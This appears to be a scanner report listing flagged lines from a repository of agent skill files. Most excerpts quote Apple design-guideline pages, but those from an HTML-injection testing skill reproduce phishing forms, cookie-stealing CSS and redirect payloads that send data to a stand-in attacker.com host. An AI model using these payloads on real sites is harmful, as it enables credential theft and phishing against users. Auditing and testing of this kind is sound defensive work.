[Workouts](https://developer.apple.com/documentation/SiriKit/workouts)| Start, pause, resume, end, and cancel workouts. - Network accessline 116
[Lists and Notes](https://developer.apple.com/documentation/SiriKit/lists-and-notes)| Create notes. - Network accessline 117
Search for notes. Create reminders based on a date, time, or location. [Media](https://developer.apple.com/documentation/SiriKit/media)| Search for and play media content, such as video, music, audiobooks, and podcasts. - Network accessline 118
Create reminders based on a date, time, or location. [Media](https://developer.apple.com/documentation/SiriKit/media)| Search for and play media content, such as video, music, audiobooks, and podcasts. Like or dislike items. - Network accessline 119
[Media](https://developer.apple.com/documentation/SiriKit/media)| Search for and play media content, such as video, music, audiobooks, and podcasts. - Network accessline 120
Like or dislike items. Add items to a library or playlist. [Messaging](https://developer.apple.com/documentation/SiriKit/messaging)| Send messages. - Network accessline 121
Add items to a library or playlist. [Messaging](https://developer.apple.com/documentation/SiriKit/messaging)| Send messages. Search for messages. - Network accessline 122
[Messaging](https://developer.apple.com/documentation/SiriKit/messaging)| Send messages. - Network accessline 123
Search for messages. Read received messages. [Payments](https://developer.apple.com/documentation/SiriKit/payments)| Send payments. - Network accessline 124
Read received messages. [Payments](https://developer.apple.com/documentation/SiriKit/payments)| Send payments. Request payments. - Network accessline 125
[Payments](https://developer.apple.com/documentation/SiriKit/payments)| Send payments. - Network accessline 126
Request payments. [Car Commands](https://developer.apple.com/documentation/SiriKit/car-commands)| Activate hazard lights or honk the horn. Lock and unlock the doors. - Network accessline 127
[Car Commands](https://developer.apple.com/documentation/SiriKit/car-commands)| Activate hazard lights or honk the horn. - Network accessline 131
### [Design responses to system intents](https://developer.apple.com/design/human-interface-guidelines/siri#Design-responses-to-system-intents) - Network accessline 143
### [Enhance the voice experience for system intents](https://developer.apple.com/design/human-interface-guidelines/siri#Enhance-the-voice-experience-for-system-intents) - Network accessline 147
**Create example requests.** When people tap the Help button in the Siri interface, they view a guide that can include example phrases that you supply. Write phrases that demonstrate the easiest and most efficient ways to use Siri with your - Network accessline 153
### [Design a custom interface for a system intent](https://developer.apple.com/design/human-interface-guidelines/siri#Design-a-custom-interface-for-a-system-intent) - Network accessline 157
**Avoid including extraneous or redundant information.** A custom interface lets you bring elements from your app into the Siri interface, but displaying information that isn’t related to the action can distract people. You also want to avo - Network accessline 167
For developer guidance, see [Creating an Intents UI Extension](https://developer.apple.com/documentation/SiriKit/creating-an-intents-ui-extension). - Network accessline 169
## [Custom intents](https://developer.apple.com/design/human-interface-guidelines/siri#Custom-intents) - Network accessline 171
If your app lets people perform an everyday task that doesn’t fit into any of the SiriKit domains, you can create a custom intent to represent it (see [System intents](https://developer.apple.com/design/human-interface-guidelines/siri#Syste - Network accessline 173
### [Custom intent categories and responses](https://developer.apple.com/design/human-interface-guidelines/siri#Custom-intent-categories-and-responses) - Network accessline 212
### [Design a custom intent](https://developer.apple.com/design/human-interface-guidelines/siri#Design-a-custom-intent) - Network accessline 214
If a built-in SiriKit intent represents your action’s purpose, adopt that intent instead of defining a custom intent. For example, if you’d like to offer a shortcut for sending a message, adopt [`INSendMessageIntent`](https://developer.appl - Network accessline 234
### [Help people customize their requests](https://developer.apple.com/design/human-interface-guidelines/siri#Help-people-customize-their-requests) - Network accessline 238
People supply parameter values to personalize an intent by responding to your follow-up questions or by editing existing values in the Shortcuts app. For example, if you offer an _order ground coffee_ intent that includes a parameter for th - Network accessline 246
**Design parameters that are easy for people to understand and use.** Aim for parameters that represent simple values or attributes and name them using simple, straightforward terms. For example, a soup-ordering app might define parameters - Network accessline 263
For developer guidance, see the `storeLocation` parameter in the intent definition file of the [Soup Chef: Accelerating App Interactions with Shortcuts](https://developer.apple.com/documentation/SiriKit/soup-chef-accelerating-app-interactio - Network accessline 265
### [Enhance the voice experience for custom intents](https://developer.apple.com/design/human-interface-guidelines/siri#Enhance-the-voice-experience-for-custom-intents) - Network accessline 293
## [Shortcuts and suggestions](https://developer.apple.com/design/human-interface-guidelines/siri#Shortcuts-and-suggestions) - Network accessline 299
* Your app can supply a shortcut for an action that people haven’t done yet but might want to do in the future, so that the Shortcuts app can suggest it or it can appear on the [Siri watch face](https://support.apple.com/guide/watch/faces-a - Network accessline 308
The Shortcuts app is also available in macOS 12 and later and in watchOS 7 and later. For developer guidance, see [SiriKit](https://developer.apple.com/documentation/SiriKit). - Network accessline 312
The Add to Siri method for adding shortcuts is no longer supported. See [App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts) for ways to integrate your app with Siri and the system. - Network accessline 314
### [Make app actions widely available](https://developer.apple.com/design/human-interface-guidelines/siri#Make-app-actions-widely-available) - Network accessline 333
You can also tell the system about shortcuts for actions people haven’t taken yet or make a shortcut available on the Siri watch face (for guidance, see [Suggest Shortcuts people might want to add to Siri](https://developer.apple.com/design - Network accessline 337
**Only donate actions that people actually perform.** For example, a coffee-ordering app donates the _Order coffee_ shortcut every time people order coffee, but not when people do something else, like browse the menu. Similarly, a media app - Network accessline 339
**Remove donations for actions that require corresponding data.** If information required by a donated action no longer exists, your app needs to delete the donation so the shortcut isn’t suggested anymore. For example, if people delete a c - Network accessline 341
**If your app handles reservations, consider donating them to the system.** These items — like ticketed events, travel itineraries, or reservations for restaurants, flights, or movies — automatically appear as suggestions in Calendar or Map - Network accessline 343
#### [Suggest Shortcuts people might want to add to Siri](https://developer.apple.com/design/human-interface-guidelines/siri#Suggest-Shortcuts-people-might-want-to-add-to-Siri) - Network accessline 347
Suggested shortcuts appear in both the Gallery and the shortcut editor in the Shortcuts app. For developer guidance, see [Offering Actions in the Shortcuts App](https://developer.apple.com/documentation/SiriKit/offering-actions-in-the-short - Network accessline 349
#### [Display shortcuts on the Siri watch face](https://developer.apple.com/design/human-interface-guidelines/siri#Display-shortcuts-on-the-Siri-watch-face) - Network accessline 351
On Apple Watch, people can run shortcuts in several ways. For example, people can ask Siri, tap a shortcut [complication](https://developer.apple.com/design/human-interface-guidelines/complications) on a watch face, or use the Shortcuts app - Network accessline 355
For developer guidance, see [Defining Relevant Shortcuts for the Siri Watch Face](https://developer.apple.com/documentation/SiriKit/defining-relevant-shortcuts-for-the-siri-watch-face). - Network accessline 357
### [Create shortcut titles and subtitles](https://developer.apple.com/design/human-interface-guidelines/siri#Create-shortcut-titles-and-subtitles) - Network accessline 365
| Example title ---|--- | _Order my favorite coffee_ - Network accessline 366
---|--- | _Order my favorite coffee_ | _Order my favorite coffee_ - Network accessline 368
| _Large latte_ - Network accessline 369
| _Show today’s forecast_ - Network accessline 370
| _Weather forecast_ - Network accessline 387
### [Provide default phrases for shortcuts](https://developer.apple.com/design/human-interface-guidelines/siri#Provide-default-phrases-for-shortcuts) - Network accessline 397
### [Make shortcuts customizable](https://developer.apple.com/design/human-interface-guidelines/siri#Make-shortcuts-customizable) - Network accessline 413
**Consider defining an input parameter.** When you define an input parameter for an action, the action can automatically receive output from a preceding action in a multistep shortcut. For example, if your action applies a filter to the ima - Network accessline 415
**Help people distinguish among different variations of the same action.** For example, an app that offers a _send message_ action might use a contact photo to help people visually distinguish the various messages they send. To do this, cho - Network accessline 419
For developer guidance, see [Shortcut-Related UI](https://developer.apple.com/documentation/SiriKit/shortcut-related-ui). - Network accessline 421
## [Editorial guidelines](https://developer.apple.com/design/human-interface-guidelines/siri#Editorial-guidelines) - Network accessline 427
| Example text ---|--- | _Say Hey Siri to activate Siri._ - Network accessline 428
---|--- | _Say Hey Siri to activate Siri._ | _Say Hey Siri to activate Siri._ - Network accessline 430
| _Say “Hey Siri” to activate Siri._ - Network accessline 431
| _Say Hey Siri… to activate Siri._ - Network accessline 432
| _Say “hey Siri” to activate Siri._ - Network accessline 460
### [Referring to Shortcuts](https://developer.apple.com/design/human-interface-guidelines/siri#Referring-to-Shortcuts) - Network accessline 474
### [Referring to Apple products](https://developer.apple.com/design/human-interface-guidelines/siri#Referring-to-Apple-products) - Network accessline 476
**Adhere to Apple’s trademark guidelines.** Apple trademarks can’t appear in your app name or images. In text, use Apple product names exactly as shown on the [Apple Trademark List](https://www.apple.com/legal/intellectual-property/trademar - Network accessline 493
See [Guidelines for Using Apple Trademarks](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html). - Network accessline 495
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/siri#Platform-considerations) - Network accessline 499
## [Resources](https://developer.apple.com/design/human-interface-guidelines/siri#Resources) - Network accessline 501
#### [Related](https://developer.apple.com/design/human-interface-guidelines/siri#Related) - Network accessline 503
[App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts) - Network accessline 505
[Design for intelligence](https://developer.apple.com/news/?id=mb3c4r4r) - Network accessline 507
[Guidelines for using Apple trademarks and copyrights](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html) - Network accessline 509
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/siri#Developer-documentation) - Network accessline 511
[SiriKit](https://developer.apple.com/documentation/SiriKit) - Network accessline 513
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/siri#Videos) - Network accessline 515
[ Design interactive snippets ](https://developer.apple.com/videos/play/wwdc2025/281 - Network accessline 517
## [Change log](https://developer.apple.com/design/human-interface-guidelines/siri#Change-log) - Network accessline 519
Date| Changes ---|--- June 5, 2023| Removed Add to Siri guidance. Added references to the new [App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts) page. - Network accessline 520
---|--- June 5, 2023| Removed Add to Siri guidance. Added references to the new [App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts) page. May 2, 2023| Consolidated guidance into one page. - Network accessline 521
June 5, 2023| Removed Add to Siri guidance. Added references to the new [App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts) page.
skills/hig-technologies/references/tap-to-pay-on-iphone.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Tap to Pay on iPhone | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone - Network accessline 9
 - Network accessline 25
Before your app can enable Tap to Pay on iPhone and configure a merchant’s device, the merchant must accept the relevant terms and conditions. Use the ProximityReader API to help you get the current status and present an acceptance flow onl - Network accessline 27
**Help merchants accept Tap to Pay on iPhone terms and conditions before they begin interacting with their customers.** Merchants must accept the terms and conditions before you perform the initial device configuration, so it works well whe - Network accessline 29
An app screen that shows - Network accessline 37
## [Educating merchants](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Educating-merchants) - Network accessline 54
You can build your app’s tutorial using Apple-approved assets from the [Tap to Pay on iPhone marketing guidelines](https://developer.apple.com/tap-to-pay/marketing-guidelines/), or you can use the [`ProximityReaderDiscovery`](https://develo - Network accessline 56
 - Network accessline 94
**Avoid making merchants wait to use Tap to Pay on iPhone.** In addition to performing the initial configuration for each device, you need to perform a subsequent configuration each time your app becomes frontmost. To minimize potential wai - Network accessline 96
**Make sure the Tap to Pay on iPhone checkout option is available even if configuration is continuing in the background.** Merchants must always be able to select the Tap to Pay on iPhone checkout option in a checkout flow. During configura - Network accessline 98
 - Network accessline 112
 - Network accessline 118
Use the “Tap to Pay on iPhone” label only for payment actions. For language you can use for nonpayment actions, see [Additional interactions](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Additional-inte - Network accessline 126
## [Displaying results](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Displaying-results) - Network accessline 130
**Start processing a transaction as soon as possible.** The system provides API you can use to request the result of a successful tap before the Tap to Pay on iPhone screen finishes displaying the checkmark animation that indicates tap comp - Network accessline 132
**Display a progress indicator while payment is authorizing before you show your transaction result screen.** Transaction authorization can take several seconds to complete, depending on factors like connectivity for both the PSP and the me - Network accessline 134
 - Network accessline 178
 - Network accessline 180
 - Network accessline 182
 - Network accessline 184
 - Network accessline 186
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Platform-considerations) - Network accessline 190
## [Resources](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Resources) - Network accessline 192
#### [Related](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Related) - Network accessline 194
[Tap to Pay on iPhone Marketing guidelines](https://developer.apple.com/tap-to-pay/marketing-guidelines/) - Network accessline 196
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Developer-documentation) - Network accessline 198
[Adding support for Tap to Pay on iPhone to your app](https://developer.apple.com/documentation/ProximityReader/adding-support-for-tap-to-pay-on-iphone-to-your-app) — ProximityReader - Network accessline 200
## [Change log](https://developer.apple.com/design/human-interface-guidelines/tap-to-pay-on-iphone#Change-log)
skills/hig-technologies/references/voiceover.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "VoiceOver | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/voiceover - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/voiceover - Network accessline 9
. For related guidance, see [Accessibility](ht - Network accessline 15
## [Descriptions](https://developer.apple.com/design/human-interface-guidelines/voiceover#Descriptions) - Network accessline 19
**Provide alternative labels for all key interface elements.** VoiceOver uses alternative labels (which aren’t visible onscreen) to audibly describe your app’s interface. System-provided controls have generic labels by default, but you shou - Network accessline 23
**Make charts and other infographics fully accessible.** Provide a concise description of each infographic that explains what it conveys. If people can interact with the infographic to get more or different information, make these interacti - Network accessline 25
**Exclude purely decorative images from VoiceOver.** It’s unnecessary to describe images that are decorative and don’t convey useful or actionable information. Excluding these images shows respect for people’s time and reduces cognitive loa - Network accessline 27
## [Navigation](https://developer.apple.com/design/human-interface-guidelines/voiceover#Navigation) - Network accessline 35
 - Network accessline 41
 - Network accessline 47
For developer guidance, see [`shouldGroupAccessibilityChildren`](https://developer.apple.com/documentation/ObjectiveC/NSObject-swift.class/shouldGroupAccessibilityChildren). - Network accessline 49
**Inform VoiceOver when visible content or layout changes occur.** People may find an unexpected content or layout change confusing because it means their mental map of the content is no longer accurate. It’s crucial to report visible chang - Network accessline 51
**Support the VoiceOver rotor when possible.** People can use an interface element called the VoiceOver rotor to navigate a document or webpage by headings, links, and other content types. You can help people navigate content in your app by - Network accessline 53
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/voiceover#Platform-considerations) - Network accessline 57
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/voiceover#visionOS) - Network accessline 59
**Be mindful that custom gestures aren’t always accessible.** When VoiceOver is turned on in visionOS, apps and games that define custom gestures don’t receive hand input by default. This ensures people can explore the interface using their - Network accessline 61
## [Resources](https://developer.apple.com/design/human-interface-guidelines/voiceover#Resources) - Network accessline 63
#### [Related](https://developer.apple.com/design/human-interface-guidelines/voiceover#Related) - Network accessline 65
[Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility) - Network accessline 67
[Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion) - Network accessline 69
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/voiceover#Developer-documentation) - Network accessline 71
[Accessibility](https://developer.apple.com/documentation/Accessibility) - Network accessline 73
[VoiceOver](https://developer.apple.com/documentation/Accessibility/voiceover) - Network accessline 75
[Supporting VoiceOver in your app](https://developer.apple.com/documentation/UIKit/supporting-voiceover-in-your-app) - Network accessline 77
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/voiceover#Videos) - Network accessline 79
[ Writing Great Accessibility Labels ](https://developer.apple.com/videos/play/wwdc2019/254) - Network accessline 81
[ Tailor the VoiceOver experience in your data-rich apps ](https://developer.apple.com/videos/play/wwdc2021/10121) - Network accessline 83
[ VoiceOver efficiency with custom rotors ](https://developer.apple.com/videos/play/wwdc2020/10116) - Network accessline 85
## [Change log](https://developer.apple.com/design/human-interface-guidelines/voiceover#Change-log)
skills/hig-technologies/references/wallet.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Wallet | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/wallet - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/wallet - Network accessline 9
 - Network accessline 17
**Offer to add new passes to Wallet.** When people do something that results in a new pass — like checking into a flight, purchasing an event ticket, or registering for a store reward program — you can present system-provided UI that helps - Network accessline 21
**Add related passes as a group.** If your app generates multiple passes, like boarding passes for a multi-connection flight, add all passes at the same time so people don’t have to add each one individually. If people can receive a group o - Network accessline 23
**Display an Add to Apple Wallet button to let people add an existing pass that isn’t already in Wallet.** If people previously declined your suggestion to add a pass to Wallet — or if they removed the pass — a button makes it easy to add i - Network accessline 27
**Tell the system when your pass expires.** Wallet automatically hides expired passes to reduce crowding, while also providing a button that lets people revisit them. To help ensure the system hides passes appropriately, set the expiration - Network accessline 31
**Help the system suggest a pass when it’s contextually relevant.** Ideally, passes automatically appear when they’re needed so people don’t have to manually locate them. When you supply information about when and where your pass is relevan - Network accessline 33
 - Network accessline 37
 - Network accessline 43
**Use change messages only for updates to time-critical information.** A change message interrupts people’s current workflow, so it’s essential to send one only when you make an update they need to know about. For example, people need to kn - Network accessline 45
## [Designing passes](https://developer.apple.com/design/human-interface-guidelines/wallet#Designing-passes) - Network accessline 49
 - Network accessline 51
**Design a pass that looks great and works well on all devices.** Passes can look different on different devices. For example, when a pass appears on Apple Watch, it doesn’t display all the images it displays when it appears on iPhone (for - Network accessline 65
### [Pass styles](https://developer.apple.com/design/human-interface-guidelines/wallet#Pass-styles) - Network accessline 67
The system defines several pass _styles_ for categories like boarding pass, coupon, store card, and event ticket. Pass styles specify the appearance and layout of content in your pass, and the information that the system needs to suggest yo - Network accessline 71
 - Network accessline 97
 - Network accessline 110
 - Network accessline 125
 - Network accessline 133
An event ticket can display logo, strip, background, or thumbnail images. However, if you supply a strip image, don’t include a background or thumbnail image. You can also include an extra row of up to four auxiliary fields. For developer g - Network accessline 141
 - Network accessline 176
**Position your background image in the safe area.** The system displays ticket information in the header and footer, which overlap the background image. To ensure that the content in your artwork isn’t covered, position it in the safe area - Network accessline 178
**Ensure sufficient contrast so that ticket information is easy to read.** By default, the system applies a gradient in the header and a blur effect in the footer of your poster event ticket to provide sufficient contrast between the backgr - Network accessline 180
 - Network accessline 184
 - Network accessline 188
**Consider using the additional information tile for extra event details.** When you have more information about the event that people may find helpful, the additional information tile below the ticket is a great place to put it. If you hav - Network accessline 190
**Continue to support event tickets for earlier versions of iOS.** People expect contactless event tickets to work, regardless of their device’s software version. Continue to provide primary, secondary, and auxiliary information in [`PassFi - Network accessline 192
#### [Generic passes](https://developer.apple.com/design/human-interface-guidelines/wallet#Generic-passes) - Network accessline 202
 - Network accessline 212
 - Network accessline 250
 schema defines the properties you use to provide order data like product descriptions, order status, contact information, and shipping and pickup details, including - Network accessline 262
 - Network accessline 284
**Provide a link to an area where people manage their order.** When you provide a universal link, people can open your order management area even if they don’t have your app installed. To learn more about universal links, see [Allowing apps - Network accessline 286
**Clearly describe each item so people can verify that their order contains everything they expect.** You can use the [`LineItem`](https://developer.apple.com/documentation/WalletOrders/LineItem) property to provide information like a produ - Network accessline 288
**Supply a prioritized list of your apps that might be installed on the device.** The system uses this list when it needs to display a link to your app within the order details view. For example, if you provide multiple apps and more than o - Network accessline 292
**Make it easy for customers to contact the merchant.** Provide multiple contact methods, so people can choose the one that works best for them. At minimum, you need to provide a link to the merchant’s website or landing page, but you can a - Network accessline 294
 - Network accessline 319
On iPhone running iOS 16 and later, people can store an ID card in Wallet, and later allow an app or App Clip to access information on the card to verify their identity without leaving their current context. For example, a person might need - Network accessline 323
Apple doesn’t create or see the ID documents that people add to Wallet, and when people agree to share identifying information with your app, you receive only encrypted data that isn’t readable on the device. For developer guidance, see [Re - Network accessline 327
**Present a Wallet verification option only when the device supports it.** If the current device can’t return the identify information you request, don’t display a Verify with Apple Wallet button. Be prepared to present a fallback view that - Network accessline 340
**Ask only for the data you actually need.** People may lose trust in your app if you ask for more data than you need to complete the current task or action. For example, if you need to ensure that a customer is at least a certain age, use - Network accessline 342
**Clearly indicate whether you will keep the data and — if you need to keep it — specify how long you’ll do so.** To help people trust your app, it’s essential to explain how long you might need to keep the personal information they agree t - Network accessline 346
Button type| Consider using when… ---|--- | Your app can c - Network accessline 347
---|--- | Your app can complete the current transaction afte - Network accessline 348
| Your app can complete the current transaction after you veri - Network accessline 349
| Your app can complete the current transaction afte - Network accessline 350
| Verify with Wallet forms one part of a verification process - Network accessline 351
| Your app can complete the current verification flow without add - Network accessline 353
All button labels are also available in a multiline variant that the system automatically uses when horizontal space is constrained. For developer guidance, see [`PKIdentityButton.Label`](https://developer.apple.com/documentation/PassKit/PK - Network accessline 355
The verification button always uses white letters on a black background. You can choose the style that includes a light outline if you need to ensure that the button contrasts well with a dark background in your app. In addition, you can us - Network accessline 357
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/wallet#Platform-considerations) - Network accessline 361
## [Specifications](https://developer.apple.com/design/human-interface-guidelines/wallet#Specifications) - Network accessline 363
### [Pass image dimensions](https://developer.apple.com/design/human-interface-guidelines/wallet#Pass-image-dimensions) - Network accessline 382
## [Resources](https://developer.apple.com/design/human-interface-guidelines/wallet#Resources) - Network accessline 384
#### [Related](https://developer.apple.com/design/human-interface-guidelines/wallet#Related) - Network accessline 386
[Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay) - Network accessline 388
[ID Verifier](https://developer.apple.com/design/human-interface-guidelines/id-verifier) - Network accessline 390
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/wallet#Developer-documentation) - Network accessline 392
[FinanceKitUI](https://developer.apple.com/documentation/FinanceKitUI) - Network accessline 394
[FinanceKit](https://developer.apple.com/documentation/FinanceKit) - Network accessline 396
[PassKit (Apple Pay and Wallet)](https://developer.apple.com/documentation/PassKit) - Network accessline 398
[Wallet Passes](https://developer.apple.com/documentation/WalletPasses) - Network accessline 400
[Wallet Orders](https://developer.apple.com/documentation/WalletOrders) - Network accessline 402
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/wallet#Videos) - Network accessline 404
[ What’s new in Wallet and Apple Pay ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 406
[ What’s new in Wallet and Apple Pay ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 408
[ What’s new in Wallet and Apple Pay ](https://developer.apple.com/videos/play/wwdc2022/10041) - Network accessline 410
## [Change log](https://developer.apple.com/design/human-interface-guidelines/wallet#Change-log)
skills/hosted-agents-v2-py/SKILL.md
- Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Network accessline 175
"type": "mcp", "server_label": "my-mcp-server", "server_url": "https://my-mcp-server.example.com" - Network accessline 176
"server_label": "my-mcp-server", "server_url": "https://my-mcp-server.example.com" } - Network accessline 177
"server_url": "https://my-mcp-server.example.com" - Network accessline 189
"type": "mcp", "server_label": "custom-tool", "server_url": "https://custom-tool.example.com" - Network accessline 190
"server_label": "custom-tool", "server_url": "https://custom-tool.example.com" } - Network accessline 191
"server_url": "https://custom-tool.example.com" - Access to secretsline 202
[Credential-related source omitted] - Access to secretsline 227
[Credential-related source omitted] - Access to secretsline 248
[Credential-related source omitted] - Access to secretsline 282
[Credential-related source omitted] - Network accessline 321
- [Azure AI Projects SDK](https://pypi.org/project/azure-ai-projects/) - Network accessline 322
- [Hosted Agents Documentation](https://learn.microsoft.com/azure/ai-services/agents/how-to/hosted-agents) - Network accessline 323
- [Azure Container Registry](https://learn.microsoft.com/azure/container-registry/)
skills/html-injection-testing/SKILL.md
- Network accessline 21
- Burp Suite or OWASP ZAP - Tamper Data or similar proxy - cURL for testing payloads - Network accessline 23
- cURL for testing payloads - Network accessline 118
<!-- Links --> <a href="http://attacker.com">Click Here</a> - Network accessline 119
<a href="http://attacker.com">Click Here</a> - Network accessline 120
<a href="http://attacker.com">Legitimate Link</a> - Network accessline 122
<!-- Images --> <img src="http://attacker.com/image.png"> - Network accessline 123
<img src="http://attacker.com/image.png"> - Network accessline 129
# Test basic injection curl "http://target.com/search?q=<h1>Test</h1>" - Network accessline 130
curl "http://target.com/search?q=<h1>Test</h1>" - Network accessline 132
# Check if HTML renders in response curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold" - Network accessline 133
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold" - Network accessline 135
# Test in URL-encoded form curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E" - Network accessline 136
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E" - Network accessline 148
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;"> <h1>Site Under Maintenance</h1> <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p> - Network accessline 149
<h1>Site Under Maintenance</h1> <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p> </div> - Network accessline 150
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p> - Network accessline 153
<!-- Comment injection --> Great article! <form action="http://attacker.com/steal" method="POST"> - Network accessline 154
Great article! <form action="http://attacker.com/steal" method="POST"> <input name="username" placeholder="Session expired. Enter username:"> - Network accessline 155
<form action="http://attacker.com/steal" method="POST"> - Network accessline 167
<!-- URL injection --> http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal"> - Network accessline 168
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal"> - Network accessline 170
<!-- Search result injection --> http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee> - Network accessline 171
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee> - Network accessline 179
# POST injection test curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \ - Network accessline 180
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \ - Network accessline 181
http://target.com/submit - Network accessline 183
# Form field injection curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \ - Network accessline 184
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \ - Network accessline 185
http://target.com/register - Network accessline 193
<!-- If URL is displayed on page --> http://target.com/page/<h1>Injected</h1> - Network accessline 194
http://target.com/page/<h1>Injected</h1> - Network accessline 196
<!-- Path-based injection --> http://target.com/users/<img src=x>/profile - Network accessline 197
http://target.com/users/<img src=x>/profile - Network accessline 208
<h2>Session Expired</h2> <p>Your session has expired. Please log in again.</p> <form action="http://attacker.com/capture" method="POST"> - Network accessline 209
<p>Your session has expired. Please log in again.</p> <form action="http://attacker.com/capture" method="POST"> <label>Username:</label><br> - Network accessline 210
<form action="http://attacker.com/capture" method="POST"> - Network accessline 219
<!-- Hidden credential stealer --> <style> input { background: url('http://attacker.com/log?data=') } - Network accessline 220
<style> input { background: url('http://attacker.com/log?data=') } </style> - Network accessline 221
input { background: url('http://attacker.com/log?data=') } - Network accessline 222
</style> <form action="http://attacker.com/steal" method="POST"> <input name="user" placeholder="Verify your username"> - Network accessline 223
<form action="http://attacker.com/steal" method="POST"> - Network accessline 232
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%2 - Network accessline 253
<!-- Image injection --> <img src="http://attacker.com/defaced.jpg" - Network accessline 254
<img src="http://attacker.com/defaced.jpg" - Network accessline 268
<!-- Style injection --> <style> body { background: url('http://attacker.com/track?cookie='+document.cookie) } - Network accessline 269
<style> body { background: url('http://attacker.com/track?cookie='+document.cookie) } .content { display: none } - Network accessline 270
body { background: url('http://attacker.com/track?cookie='+document.cookie) } - Network accessline 275
<!-- Inline style injection --> <div style="background:url('http://attacker.com/log')">Content</div> - Network accessline 276
<div style="background:url('http://attacker.com/log')">Content</div> - Network accessline 282
<!-- Redirect via meta refresh --> <meta http-equiv="refresh" content="0;url=http://attacker.com/phish"> - Network accessline 283
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish"> - Network accessline 292
<!-- Hijack existing form --> <form action="http://attacker.com/steal"> - Network accessline 293
<form action="http://attacker.com/steal"> - Network accessline 303
<!-- Embed external content --> <iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe> - Network accessline 304
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe> - Network accessline 306
<!-- Invisible tracking iframe --> <iframe src="http://attacker.com/track" style="display:none"></iframe> - Network accessline 307
<iframe src="http://attacker.com/track" style="display:none"></iframe> - Network accessline 371
target = "http://target.com/search" - Network accessline 377
"<script>alert(1)</script>", "<img src=x onerror=alert(1)>", "<a href='http://evil.com'>Click</a>", - Network accessline 378
"<img src=x onerror=alert(1)>", "<a href='http://evil.com'>Click</a>", "<div style='color:red'>Styled</div>", - Network accessline 379
"<a href='http://evil.com'>Click</a>", - Network accessline 380
"<div style='color:red'>Styled</div>", "<marquee>Moving</marquee>", "<iframe src='http://evil.com'></iframe>", - Network accessline 381
"<marquee>Moving</marquee>", "<iframe src='http://evil.com'></iframe>", ] - Network accessline 382
"<iframe src='http://evil.com'></iframe>", - Network accessline 389
try: response = requests.get(url, timeout=5) - Network accessline 390
response = requests.get(url, timeout=5)
skills/hubspot-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/hugging-face-cli/SKILL.md
- Network accessline 2
